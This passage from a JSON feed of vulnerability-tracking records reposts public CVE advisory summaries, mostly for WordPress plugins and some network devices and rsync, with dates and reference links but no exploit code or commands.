"vulnerability": "CVE-2024-12587", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/1276", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12587\n\ud83d\udd39 Description: The Contact Form Master  WordPress plugin through 1.0.7 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin.\n\ud83d\udccf Published: 2025-01-11T06:00:02.900Z\n\ud83d\udccf Modified: 2025-01-11T06:00:02.900Z\n\ud83d\udd17 References:\n1. https://wpscan.com/vulnerability/7cb040f5-d154-48ea-a54e-80451054bad8/", "creation_timestamp": "2025-01-11T07:04:49.000000Z"}, {"uuid": "89bb2034-45ea-4218-8fc0-7405e964622f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12877", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/1282", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12877\n\ud83d\udd39 Description: The GiveWP \u2013 Donation Plugin and Fundraising Platform plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 3.19.2 via deserialization of untrusted input from the donation form like 'firstName'. This makes it possible for unauthenticated attackers to inject a PHP Object. The additional presence of a POP chain allows attackers to delete arbitrary files on the server that makes remote code execution possible. Please note this was only partially patched in 3.19.3, a fully sufficient patch was not released until 3.19.4. However, another CVE was assigned by another CNA for version 3.19.3 so we will leave this as affecting 3.19.2 and before. We have recommended the vendor use JSON encoding to prevent any further deserialization vulnerabilities from being present.\n\ud83d\udccf Published: 2025-01-11T07:21:53.510Z\n\ud83d\udccf Modified: 2025-01-11T07:21:53.510Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/b2143edf-5423-4e79-8638-a5b98490d292?source=cve\n2. https://plugins.trac.wordpress.org/changeset/3212723/give/tags/3.19.3/src/Helpers/Utils.php", "creation_timestamp": "2025-01-11T08:04:03.000000Z"}, {"uuid": "706a1046-7e19-41b5-a1cc-c74ecb2fd235", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12407", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/1278", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12407\n\ud83d\udd39 Description: The Push Notification for Post and BuddyPress plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'pushnotificationid' parameter in all versions up to, and including, 2.06 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.\n\ud83d\udccf Published: 2025-01-11T07:21:54.994Z\n\ud83d\udccf Modified: 2025-01-11T07:21:54.994Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/de7be653-4d5b-4cbe-ad9c-6c2748f533bb?source=cve\n2. https://plugins.trac.wordpress.org/browser/push-notification-for-post-and-buddypress/trunk/admin/pnfpb_admin_ondemand_notification_settings.php#L711", "creation_timestamp": "2025-01-11T08:03:52.000000Z"}, {"uuid": "ba59e79b-26ee-41d9-95a6-54de686276de", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12519", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/1286", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12519\n\ud83d\udd39 Description: The TCBD Auto Refresher plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'tcbd_auto_refresh' shortcode in all versions up to, and including, 2.0 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-01-11T07:21:51.888Z\n\ud83d\udccf Modified: 2025-01-11T07:21:51.888Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/851bade8-bd3a-4fb1-8a1d-12461287694e?source=cve\n2. https://plugins.trac.wordpress.org/browser/tcbd-auto-refresher/trunk/plugin-hook.php#L115\n3. https://wordpress.org/plugins/tcbd-auto-refresher", "creation_timestamp": "2025-01-11T08:04:13.000000Z"}, {"uuid": "c18a9d51-7fee-4916-8b0e-d0fbf5d3c807", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12568", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/1351", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12568\n\ud83d\udd39 Description: The Email Subscribers by Icegram Express  WordPress plugin before 5.7.45 does not sanitise and escape some of its Workflow settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup).\n\ud83d\udccf Published: 2025-01-13T06:00:10.651Z\n\ud83d\udccf Modified: 2025-01-13T06:00:10.651Z\n\ud83d\udd17 References:\n1. https://wpscan.com/vulnerability/0ce9075a-754b-474e-9620-17da8ee29b56/", "creation_timestamp": "2025-01-13T06:05:55.000000Z"}, {"uuid": "8aa5fbe5-d91f-4fc5-8d72-7bcc7484268f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12274", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/1354", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12274\n\ud83d\udd39 Description: The Appointment Booking Calendar Plugin and Scheduling Plugin  WordPress plugin before 1.1.23 export settings functionality exports data to a public folder, with an easily guessable file name, allowing unauthenticated attackers to access the exported files (if they exist).\n\ud83d\udccf Published: 2025-01-13T06:00:01.193Z\n\ud83d\udccf Modified: 2025-01-13T06:00:01.193Z\n\ud83d\udd17 References:\n1. https://wpscan.com/vulnerability/e3176c9a-63f3-4a28-a8a7-8abb2b4100ef/", "creation_timestamp": "2025-01-13T06:06:04.000000Z"}, {"uuid": "d3faf6df-e163-4cf7-b8c0-978f2901d3ed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12566", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/1353", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12566\n\ud83d\udd39 Description: The Email Subscribers by Icegram Express  WordPress plugin before 5.7.45 does not sanitise and escape some of form settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup).\n\ud83d\udccf Published: 2025-01-13T06:00:07.508Z\n\ud83d\udccf Modified: 2025-01-13T06:00:07.508Z\n\ud83d\udd17 References:\n1. https://wpscan.com/vulnerability/9206064a-d54e-44ad-9670-65520ee166a6/", "creation_timestamp": "2025-01-13T06:06:01.000000Z"}, {"uuid": "2da86751-7765-40ab-a17c-4ccce0a48941", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12298", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/1422", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12298\n\ud83d\udd39 Description: We found a vulnerability Improper Restriction of XML External Entity Reference (CWE-611) in NB-series NX-Designer. Attackers may be able to abuse this vulnerability to disclose confidential data on a computer.\n\ud83d\udccf Published: 2025-01-14T00:45:38.605Z\n\ud83d\udccf Modified: 2025-01-14T00:45:38.605Z\n\ud83d\udd17 References:\n1. https://www.fa.omron.co.jp/product/security/assets/pdf/en/OMSR-2025-002_en.pdf\n2. https://www.fa.omron.co.jp/product/security/assets/pdf/ja/OMSR-2025-002_ja.pdf", "creation_timestamp": "2025-01-14T01:07:24.000000Z"}, {"uuid": "8113a429-2776-4333-b83d-d2c684b51ca0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12083", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/1421", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12083\n\ud83d\udd39 Description: Path Traversal Vulnerabilities (CWE-22) exist in NJ/NX-series Machine Automation Controllers. An attacker may use these vulnerabilities to perform unauthorized access and to execute unauthorized code remotely to the controller products.\n\ud83d\udccf Published: 2025-01-14T00:46:33.399Z\n\ud83d\udccf Modified: 2025-01-14T00:46:33.399Z\n\ud83d\udd17 References:\n1. https://www.fa.omron.co.jp/product/security/assets/pdf/en/OMSR-2025-001_en.pdf\n2. https://www.fa.omron.co.jp/product/security/assets/pdf/ja/OMSR-2025-001_ja.pdf", "creation_timestamp": "2025-01-14T01:07:21.000000Z"}, {"uuid": "bdd9f2ea-82f0-4912-8a47-5f2befb0cdf8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12006", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/1462", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12006\n\ud83d\udd39 Description: The W3 Total Cache plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on several functions in all versions up to, and including, 2.8.1. This makes it possible for unauthenticated attackers to deactivate the plugin as well as activate and deactivate plugin extensions.\n\ud83d\udccf Published: 2025-01-14T07:05:40.976Z\n\ud83d\udccf Modified: 2025-01-14T07:05:40.976Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/329ad5dc-9339-4540-aba3-f21a78a74d4b?source=cve\n2. https://plugins.trac.wordpress.org/browser/w3-total-cache/tags/2.8.0/Extensions_Plugin_Admin.php#L186\n3. https://plugins.trac.wordpress.org/browser/w3-total-cache/tags/2.8.0/Extensions_Plugin_Admin.php#L63\n4. https://plugins.trac.wordpress.org/browser/w3-total-cache/tags/2.8.0/Extensions_Plugin_Admin.php#L220\n5. https://plugins.trac.wordpress.org/browser/w3-total-cache/tags/2.8.0/Generic_Plugin_Admin.php#L212\n6. https://plugins.trac.wordpress.org/browser/w3-total-cache/tags/2.8.0/Extensions_Plugin_Admin.php#L60", "creation_timestamp": "2025-01-14T08:08:11.000000Z"}, {"uuid": "b0515378-cb5a-47f5-b46f-227606188aa7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12008", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/1461", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12008\n\ud83d\udd39 Description: The W3 Total Cache plugin for WordPress is vulnerable to Information Exposure in all versions up to, and including, 2.8.1 through the publicly exposed debug log file. This makes it possible for unauthenticated attackers to view potentially sensitive information in the exposed log file. For example, the log file may contain nonce values that can be used in further CSRF attacks.\nNote: the debug feature must be enabled for this to be a concern, and it is disabled by default.\n\ud83d\udccf Published: 2025-01-14T07:05:41.364Z\n\ud83d\udccf Modified: 2025-01-14T07:05:41.364Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/8292f23c-fb17-4082-9788-f643d1bb097e?source=cve\n2. https://plugins.trac.wordpress.org/browser/w3-total-cache/tags/2.8.0/Util_Environment.php#L430\n3. https://plugins.trac.wordpress.org/browser/w3-total-cache/tags/2.8.0/Util_Debug.php#L29", "creation_timestamp": "2025-01-14T08:08:05.000000Z"}, {"uuid": "60e524e1-de77-4935-adba-b510539768ea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12297", "type": "seen", "source": "Telegram/8ThijABIfi-5nNlQ7kr_WvEtubQLhHXnUTTbU5BQXc6b8iBP", "content": "", "creation_timestamp": "2025-03-08T04:34:09.000000Z"}, {"uuid": "c68d798b-ea3d-49ba-b94f-0b2617d9962f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12365", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/1463", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12365\n\ud83d\udd39 Description: The W3 Total Cache plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the is_w3tc_admin_page function in all versions up to, and including, 2.8.1. This makes it possible for authenticated attackers, with Subscriber-level access and above, to obtain the plugin's nonce value and perform unauthorized actions, resulting in information disclosure, service plan limits consumption as well as making web requests to arbitrary locations originating from the web application that can be used to query information from internal services, including instance metadata on cloud-based applications.\n\ud83d\udccf Published: 2025-01-14T07:05:40.307Z\n\ud83d\udccf Modified: 2025-01-14T07:05:40.307Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/196e629f-7c77-4bcb-8224-305a0108b630?source=cve\n2. https://plugins.trac.wordpress.org/browser/w3-total-cache/tags/2.8.0/w3-total-cache.php#L71\n3. https://plugins.trac.wordpress.org/browser/w3-total-cache/tags/2.8.0/Root_Loader.php#L269\n4. https://plugins.trac.wordpress.org/browser/w3-total-cache/tags/2.8.0/Generic_Plugin_Admin.php#L55\n5. https://plugins.trac.wordpress.org/browser/w3-total-cache/tags/2.8.0/Generic_Plugin_Admin.php#L385\n6. https://plugins.trac.wordpress.org/browser/w3-total-cache/tags/2.8.0/Generic_Plugin_Admin.php#L516\n7. https://plugins.trac.wordpress.org/browser/w3-total-cache/tags/2.8.0/Util_Admin.php#L822\n8. https://plugins.trac.wordpress.org/browser/w3-total-cache/tags/2.8.0/inc/options/common/top_nav_bar.php#L217\n9. https://plugins.trac.wordpress.org/browser/w3-total-cache/tags/2.8.0/inc/options/common/footer.php#L49\n10. https://plugins.trac.wordpress.org/browser/w3-total-cache/tags/2.8.0/Extensions_Plugin_Admin.php#L55\n11. https://plugins.trac.wordpress.org/browser/w3-total-cache/tags/2.8.0/Extensions_Plugin_Admin.php#L246\n12. https://plugins.trac.wordpress.org/browser/w3-total-cache/tags/2.8.0/Extension_ImageService_Plugin_Admin.php#L200\n13. https://plugins.trac.wordpress.org/browser/w3-total-cache/tags/2.8.0/UsageStatistics_Plugin_Admin.php#L10\n14. https://plugins.trac.wordpress.org/browser/w3-total-cache/tags/2.8.0/UsageStatistics_Plugin_Admin.php#L94", "creation_timestamp": "2025-01-14T08:08:18.000000Z"}, {"uuid": "79db0816-1da3-4528-9aca-d5949b377dc7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12297", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/1713", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12297\n\ud83d\udd39 Description: Moxa\u2019s Ethernet switch EDS-508A Series, running firmware version 3.11 and earlier, is vulnerable to an authentication bypass because of flaws in its authorization mechanism. Although both client-side and back-end server verification are involved in the process, attackers can exploit weaknesses in its implementation. These vulnerabilities may enable brute-force attacks to guess valid credentials or MD5 collision attacks to forge authentication hashes, potentially compromising the security of the device.\n\ud83d\udccf Published: 2025-01-15T10:00:46.524Z\n\ud83d\udccf Modified: 2025-01-15T10:00:46.524Z\n\ud83d\udd17 References:\n1. https://www.moxa.com/en/support/product-support/security-advisory/mpsa-241407-cve-2024-12297-frontend-authorization-logic-disclosure-vulnerability-in-eds-508a-series", "creation_timestamp": "2025-01-15T10:10:52.000000Z"}, {"uuid": "0672adae-2f1b-423e-b881-e7e7680cff3b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12398", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/1451", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12398\n\ud83d\udd39 Description: An improper privilege management vulnerability in the web management interface of the Zyxel WBE530 firmware versions through 7.00(ACLE.3) and\u00a0WBE660S firmware versions through 6.70(ACGG.2) could allow an authenticated user with limited privileges to escalate their privileges to that of an administrator, enabling them to upload configuration files to a vulnerable device.\n\ud83d\udccf Published: 2025-01-14T01:39:04.348Z\n\ud83d\udccf Modified: 2025-01-14T01:39:04.348Z\n\ud83d\udd17 References:\n1. https://www.zyxel.com/global/en/support/security-advisories/zyxel-security-advisory-for-improper-privilege-management-vulnerability-in-aps-and-security-router-devices-01-14-2025", "creation_timestamp": "2025-01-14T02:08:29.000000Z"}, {"uuid": "acf68be8-715f-4eea-996c-d60da4b6ce76", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12988", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/1477", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12988\n\ud83d\udd39 Description: A vulnerability has been found in Netgear R6900P and R7000P 1.3.3.154 and classified as critical. Affected by this vulnerability is the function sub_16C4C of the component HTTP Header Handler. The manipulation of the argument Host leads to buffer overflow. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. This vulnerability only affects products that are no longer supported by the maintainer.\n\ud83d\udccf Published: 2024-12-27T17:00:14.876Z\n\ud83d\udccf Modified: 2025-01-14T13:59:51.349Z\n\ud83d\udd17 References:\n1. https://vuldb.com/?id.289381\n2. https://vuldb.com/?ctiid.289381\n3. https://vuldb.com/?submit.462781\n4. https://github.com/physicszq/Routers/tree/main/Netgear/1.3.3.154\n5. https://www.netgear.com/about/eos/\n6. https://www.netgear.com/", "creation_timestamp": "2025-01-14T14:10:25.000000Z"}, {"uuid": "3ab12aa3-a672-4b30-8a82-0c5313095eac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12087", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/1544", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12087\n\ud83d\udd39 Description: A path traversal vulnerability exists in rsync. It stems from behavior enabled by the `--inc-recursive` option, a default-enabled option for many client options and can be enabled by the server even if not explicitly enabled by the client. When using the `--inc-recursive` option, a lack of proper symlink verification coupled with deduplication checks occurring on a per-file-list basis could allow a server to write files outside of the client's intended destination directory. A malicious server could write malicious files to arbitrary locations named after valid directories/paths on the client.\n\ud83d\udccf Published: 2025-01-14T17:57:33.927Z\n\ud83d\udccf Modified: 2025-01-14T17:57:33.927Z\n\ud83d\udd17 References:\n1. https://access.redhat.com/security/cve/CVE-2024-12087\n2. https://bugzilla.redhat.com/show_bug.cgi?id=2330672", "creation_timestamp": "2025-01-14T18:09:02.000000Z"}, {"uuid": "1d95105b-f508-4e5b-a4a3-00cd228cf0c2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12086", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/1554", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12086\n\ud83d\udd39 Description: A flaw was found in rsync. It could allow a server to enumerate the contents of an arbitrary file from the client's machine. This issue occurs when files are being copied from a client to a server. During this process, the rsync server will send checksums of local data to the client to compare with in order to determine what data needs to be sent to the server. By sending specially constructed checksum values for arbitrary files, an attacker may be able to reconstruct the data of those files byte-by-byte based on the responses from the client.\n\ud83d\udccf Published: 2025-01-14T17:37:54.960Z\n\ud83d\udccf Modified: 2025-01-14T17:37:54.960Z\n\ud83d\udd17 References:\n1. https://access.redhat.com/security/cve/CVE-2024-12086\n2. https://bugzilla.redhat.com/show_bug.cgi?id=2330577", "creation_timestamp": "2025-01-14T18:09:53.000000Z"}, {"uuid": "6f292e4f-9950-4baa-a51d-60311c306ef2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12088", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/1553", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12088\n\ud83d\udd39 Description: A flaw was found in rsync. When using the `--safe-links` option, rsync fails to properly verify if a symbolic link destination contains another symbolic link within it. This results in a path traversal vulnerability, which may lead to arbitrary file write outside the desired directory.\n\ud83d\udccf Published: 2025-01-14T17:38:34.890Z\n\ud83d\udccf Modified: 2025-01-14T17:38:34.890Z\n\ud83d\udd17 References:\n1. https://access.redhat.com/security/cve/CVE-2024-12088\n2. https://bugzilla.redhat.com/show_bug.cgi?id=2330676", "creation_timestamp": "2025-01-14T18:09:47.000000Z"}, {"uuid": "cfd678bb-fb72-49bb-9cd3-c93acb414a46", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12613", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/1928", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12613\n\ud83d\udd39 Description: The Passwords Manager plugin for WordPress is vulnerable to SQL Injection via the $wpdb->prefix value in several AJAX fuctions in all versions up to, and including, 1.4.8 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.  This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.\n\ud83d\udccf Published: 2025-01-16T09:39:15.443Z\n\ud83d\udccf Modified: 2025-01-16T09:39:15.443Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/dec38992-a69f-4ccd-a23b-4dd1639897c3?source=cve\n2. https://plugins.trac.wordpress.org/changeset/3221505/passwords-manager/trunk/include/pms-passwords-ajax-action.php", "creation_timestamp": "2025-01-16T09:55:31.000000Z"}, {"uuid": "0592f709-341c-4e01-8ddc-d0a46716ebd6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12427", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/1927", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12427\n\ud83d\udd39 Description: The Multi Step Form plugin for WordPress is vulnerable to unauthorized limited file upload due to a missing capability check on the fw_upload_file AJAX action in all versions up to, and including, 1.7.23. This makes it possible for unauthenticated attackers to upload limited file types such as images.\n\ud83d\udccf Published: 2025-01-16T09:39:15.810Z\n\ud83d\udccf Modified: 2025-01-16T09:39:15.810Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/f0a31fee-ccc2-4c3b-b198-6cb750188113?source=cve\n2. https://plugins.trac.wordpress.org/browser/multi-step-form/tags/1.7.22/includes/lib/msf-shortcode.class.php#L100\n3. https://plugins.trac.wordpress.org/browser/multi-step-form/tags/1.7.22/includes/lib/msf-shortcode.class.php#L30\n4. https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3219723%40multi-step-form&new=3219723%40multi-step-form&sfp_email=&sfph_mail=", "creation_timestamp": "2025-01-16T09:55:30.000000Z"}, {"uuid": "a4772b72-c979-4f3d-8900-35384c95a129", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12226", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/1924", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12226\n\ud83d\udd39 Description: In affected versions of the Octopus Kubernetes worker or agent, sensitive variables could be written to the Kubernetes script pod log in clear-text. This was identified in Version 2 however it was determined that this could also be achieved in Version 1 and the fix was applied to both versions accordingly.\n\ud83d\udccf Published: 2025-01-16T06:48:20.279Z\n\ud83d\udccf Modified: 2025-01-16T06:48:20.279Z\n\ud83d\udd17 References:\n1. https://advisories.octopus.com/post/2024/sa2024-10/", "creation_timestamp": "2025-01-16T06:55:17.000000Z"}, {"uuid": "65e925a7-7fe2-4824-869d-f57e02d34865", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12117", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/2528", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12117\n\ud83d\udd39 Description: The Stackable \u2013 Page Builder Gutenberg Blocks plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'title' parameter of the Button block in all versions up to, and including, 3.13.11 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-01-22T07:03:52.799Z\n\ud83d\udccf Modified: 2025-01-22T07:03:52.799Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/bedc2254-29aa-46c5-8f85-47dd6affb42b?source=cve\n2. https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3223387%40stackable-ultimate-gutenberg-blocks&new=3223387%40stackable-ultimate-gutenberg-blocks&sfp_email=&sfph_mail=", "creation_timestamp": "2025-01-22T08:02:06.000000Z"}, {"uuid": "0c1073d6-f4b0-46f5-9102-f4eb508f57e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12818", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/1715", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12818\n\ud83d\udd39 Description: The WP Smart TV plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'tv-video-player' shortcode in all versions up to, and including, 2.1.8 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-01-15T09:25:55.673Z\n\ud83d\udccf Modified: 2025-01-15T09:25:55.673Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/e1d7cf90-1a9f-4d88-9dfb-f48481095a0c?source=cve\n2. https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3222468%40wp-smart-tv&new=3222468%40wp-smart-tv&sfp_email=&sfph_mail=", "creation_timestamp": "2025-01-15T10:11:38.000000Z"}, {"uuid": "0e9b7df4-d286-4769-a99b-5bdfbcf1a83f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12423", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/1717", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12423\n\ud83d\udd39 Description: The Contact Form 7 Redirect & Thank You Page plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'post' parameter in all versions up to, and including, 1.0.7 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.\n\ud83d\udccf Published: 2025-01-15T09:25:54.881Z\n\ud83d\udccf Modified: 2025-01-15T09:25:54.881Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/9d67965c-f8f3-4868-a261-81cfc80dbcb3?source=cve\n2. 